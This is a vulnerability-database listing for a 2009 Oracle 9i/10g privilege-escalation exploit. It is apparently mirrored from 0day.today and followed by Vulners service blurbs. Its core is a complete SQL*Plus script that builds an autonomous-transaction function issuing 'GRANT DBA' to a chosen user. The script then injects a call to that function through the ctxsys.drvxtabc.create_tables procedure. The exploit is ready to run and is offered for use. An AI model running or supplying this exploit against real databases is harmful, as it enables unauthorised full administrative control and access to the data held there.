Lucene search
K

Oracle ctxsys.drvxtabc.create_tables Exploit

🗓️ 01 Dec 2009 00:00:00Reported by Andrea PurificatoType 
zdt
 zdt
🔗 0day.today👁 19 Views

Oracle ctxsys.drvxtabc.create_tables Exploit by Andrea Purificato (2009

Code
============================================
Oracle ctxsys.drvxtabc.create_tables Exploit
============================================


# Title: Oracle ctxsys.drvxtabc.create_tables Exploit
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Andrea Purificato
# Published: 2009-12-01
# Verified: yes

view source
print?
-- 
-- ctxsys.drvxtabc.create_tables
--
--
-- Oracle ctxsys.drvxtabc.create_tables exploit (9i/10g)
--
-- Grant dba permission to unprivileged user
-- 
-- 
-- REF: http://www.google.it/search?q=ctxsys.drvxtabc.create_tables
-- 
-- AUTHOR: Andrea "bunker" Purificato
-- http://rawlab.mindcreations.com
--
--
set serveroutput on;
prompt [+] ctxsys-drvxtabc-create_tables.sql exploit
prompt [+] by Andrea "bunker" Purificato - http://rawlab.mindcreations.com
prompt [+] 37F1 A7A1 BB94 89DB A920 3105 9F74 7349 AF4C BFA2
prompt
undefine the_user;
accept the_user char prompt 'Target username (default TEST): ' default 'TEST';
prompt
prompt [-] Building evil function...
 
CREATE OR REPLACE FUNCTION OWN RETURN NUMBER
AUTHID CURRENT_USER AS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO &the_user'; COMMIT;
RETURN(0);
END;
/
 
prompt [-] Finishing...
 
exec ctxsys.drvxtabc.create_tables(''||user||'"."x" as select * from dual where '||USER||'.own=0--','x',2);
 
prompt [-] YOU GOT THE POWAH!!



#  0day.today [2018-04-09]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Dec 2009 00:00Current
6.8Medium risk
Vulners AI Score6.8
19